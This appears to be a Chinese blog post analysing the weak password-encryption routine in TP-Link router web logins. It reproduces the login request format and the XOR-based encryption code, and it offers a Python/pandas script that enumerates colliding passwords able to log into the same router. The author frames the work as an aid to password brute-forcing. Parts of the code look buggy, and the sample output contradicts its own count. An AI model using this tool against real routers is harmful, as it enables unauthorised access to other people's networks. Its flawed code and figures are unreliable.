1.先说结论:

        1,在密码组合是数字大小写字母的情况下。加密有截断作用,7-13位密码及16位以上没有其它长度的密码,13-15位有少量其它长度的密码。就是随着密码越长,密码组合也越多,但有长度限制。从下表中一定有你的密码

python 获取路由器mac_pandas

可以百度搜索10秒破某tp路由。你会更好理解。如:

此密码 66ULYn 的密文为: H4H1dqhc9TefbwK 长度为 6 位
此密码长度小于13位,没有比它长的密码。
此密码长度等于 6 位长度的密文的密码有: 240 个,总共有 240 个密码. 集合为: 
 ['6Mw', '6orWz', 'oU', 'Ly', 'uY', 'nz'] 结束!

当您密码为66ULYn,以上集合任意组合密码都能登录您的路由器,很神奇吧。这就是加密算法带来的小漏洞。代码后面给出,会自动生成上面的表格。

本人小白。如有错误,欢迎批判。希望对你的密码爆破有帮助!

2.过程及实现代码:

tp-link 登录提交方式

  • POST {"method":"do","login":{"password":"WbZ6onhc9TefbwK"}}
  • 路由器加密代码:
short = "RDpbLfCPsJZ7fiv"

# a
Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'


# c
#PawD = '123456@...'
PawD = 'd52533'

# b
# ord与JS的charCodeAt方法类似,返回指定位置的字符的 Unicode 编码

def encrypt_passwd(a, b, c):
    e = ''
    f, g, h, k, l = 187, 187, 187, 187, 187
    n = 187
    g = len(a)
    h = len(b)
    k = len(c)
    if g > h:
        f = g
    else:
        f = h

    for p in list(range(0, f)):
        n = l = 187
        if p >= g:
            n = ord(b[p])
        else:
            if p >= h:
                l = ord(a[p])
            else:
                l = ord(a[p])
                n = ord(b[p])
        e += c[(l ^ n) % k]

    #print (e)
    return e



pw=encrypt_passwd(short, PawD, Lng)

Python代码:

import pandas as pd
import os


class Getmmjh:
    short = "RDpbLfCPsJZ7fiv"
    # a
    Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
    # c
    lns = len(Lng)
    my = '012345hc9TefbwK'

    def __init__(self, mima):
        self.mima = mima

    #获取密码集合
    def get_pddata(self):  # 定义实例方法
        short=self.short
        Lng=self.Lng
        new_s = list(set(Lng))  # 转换为集合再转换为列表
        Lng = "".join(set(new_s))

        if os.path.exists('./mmjh.csv'):
            df = pd.read_csv('mmjh.csv', index_col=0)
            #print(df)
            return df

        else:
            ls=[]
            for s in short:#s为列名
                dic ={}
                for k in Lng:# k为行名
                    l = ord(s)
                    st = self.jisuan(l,k)
                    if st == '':
                        continue
                    dic[k]=st
                df=pd.DataFrame(dic.values(),index=dic.keys(),columns=[s])
                print(df,'\n','@@@@@@@@@@@@@@@@@@@@@@@@@@@')
                ls.append(df)
            df=pd.concat(ls,axis=1,join='outer')

            df.to_csv('./mmjh.csv')
            return df


    def jisuan(self,l,word,n=1):
        Lng = self.Lng
        yy = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz"
        st = ''
        if l == 187:
            gg = (l ^ n) % self.lns
            for y in yy:
                if Lng[gg] == word:
                    st += y

        else:
            for y in yy:
                n = ord(y)
                gg = (l ^ n) % self.lns
                if Lng[gg] == word:
                    st += y

        return st

    def getpd(self,miwen,ml):
        df = self.get_pddata()
        short =self.short
        ls = []
        cj = 1
        if ml >15:
            ml=15

        for i in range(ml):
            n = short[i]
            m = miwen[i]
            st = df.loc[m, n]


            ls.append(st)
            cj *= len(st)

        return cj,ls

    # 计算比它长度还大的集合
    def dachang(self,miwen,ml,cj,ls):
        df = self.get_pddata()
        dcj = 1
        dls = []
        sm =0
        for k in range(15 - ml, 0, -1):
            m = miwen[-k]
            n = self.short[-k]
            st = df.loc[m, n]
            dcj *= len(st)
            dls.append(st)
            ls += dls
            cj *= dcj
            sm += cj

            print(16 - k, '位长度的密文的密码有:', cj, '个集合为:', '\n', ls)

            return sm



    # 计算比它长度还小的集合
    def xchang(self,miwen,ml,cj,ls):
        df = self.get_pddata()
        dcj = 1
        dls = ls
        sm = cj
        for i in range(ml - 17, -11, -1):
            m = miwen[i]
            if m == self.my[i]:
                st = df.loc[m, self.short[i]]
                dcj *= len(st)
                dls.append(st)
                dls += ls
                cj *= dcj
                sm += cj

                print(16 + i, '位长度的密文的密码有:', sm, '个集合为:', '\n', dls)
            else:

                print('此密码没有比', 16 + i, '位长度还短的密码!总共有', sm, '个密码.' ,'集合为:', '\n', ls, '结束!')
                break
            if i == -10:

                cj6,ls6 = self.getpd(miwen,6)
                dls += ls6
                sm += cj6

                print('6位长度的密文的密码有:', sm, '个,总共有', sum, '个密码.','集合为:', '\n', ls, '结束!')



    # 加密方法
    def encrypt_passwd(self, b):#加密方法
        a=self.short
        c=self.Lng
        e = ''
        f, g, h, k, l = 187, 187, 187, 187, 187
        n = 187
        g = len(a)
        h = len(b)
        k = len(c)
        if g > h:
            f = g
        else:
            f = h

        for p in list(range(0, f)):
            n = l = 187
            if p >= g:#15
                n = ord(b[p])
            else:
                if p >= h:
                    l = ord(a[p])
                else:
                    l = ord(a[p])
                    n = ord(b[p])
            e += c[(l ^ n) % k]
        # print (e)
        return e

    def mwei(self):
        mima = self.mima
        '''
        if not re.fullmatch(r'[a-z0-9]+', mima):
            print('密码不是数字或小字母,请重新输入密码!')
            return
        '''
        my = self.my
        miwen = self.encrypt_passwd(mima)
        ml = len(mima)
        print('此密码',mima,'的密文为:', miwen, '长度为', ml, '位')

        cj, ls = self.getpd(miwen, ml)

        if ml > 15:
            dcj = 1
            dls=[]

            for s in range(ml-15,0):
                word = miwen[-s]
                n = ord(word)
                l = 187
                st= self.jisuan(l,word,n)
                dls.append(st)
                dcj *=len(st)

            ls +=dls
            cj *= dcj


            print('此密码位数大于15,没有其它长度的密码。其中相同', ml, '位长度的密文的密码有:', cj, '个','集合为:', '\n', ls, '结束!')


        elif ml < 6:
            print('您的密码小于6位,请重新输入')
        else:
            while True:
                nn = miwen[ml - 16]

                #计算比它长度还大的集合
                if ml >= 13:
                    sm = self.dachang(miwen, ml, cj, ls)
                else:
                    print('此密码长度小于13位,没有比它长的密码。')

                if ml == 6:
                    print('此密码长度等于', ml, '位长度的密文的密码有:', cj, '个,总共有', cj, '个密码.', '集合为:', '\n', ls, '结束!')
                    break

                if nn != my[ml - 16]:
                    if ml <13:
                        print('此密码长度等于', ml, '没有比它还短的密码了。有相同长度密文的密码有', cj, '个密码.', '集合为:', '\n', ls, '结束!')
                    else:
                        print('此密码长度等于', ml, '没有比它还短的密码了。有相同长度密文的密码有', cj + sm, '个密码.','集合为:', '\n', ls, '结束!')


                    break

                else:
                    print('此密码长度等于', ml, '有相同长度密文的密码有',  cj, '个密码.', '集合为:', '\n', ls)
                    if ml >=13:
                        cj +=sm
                    # 计算比它长度还小的集合
                    self.xchang(miwen, ml, cj, ls)




if __name__ == "__main__":

    #数字或小写字母,不然会报错,除非您改进,修改yy = '0123456789abcdefghijklmnopqrstuvwxyz'
    PWD = '66ULYn'
    Getmmjh(PWD).mwei()

'''
#计算9-15位hc9TefbwK有没有数字或小写字母,只有长度为13-15时才有可能有
yy = '0123456789abcdefghijklmnopqrstuvwxyz'
Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
yy2 = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz~!@#$%^&*()_+-=[]{}|;':\,.<>/?"
short = "RDpbLfCPsJZ7fiv"
ss = 'vUJLv7hc9TefbwK'
for i in range(-9,0):
    e1=ss[i]
    s=''
    for k in yy:
        n = ord(k)
        l = ord(short[i])
        gg = (l ^ n) % 187
        e =Lng[gg]

        if e == e1:
            s +=k
    print('在',i,'位上有:',s)'''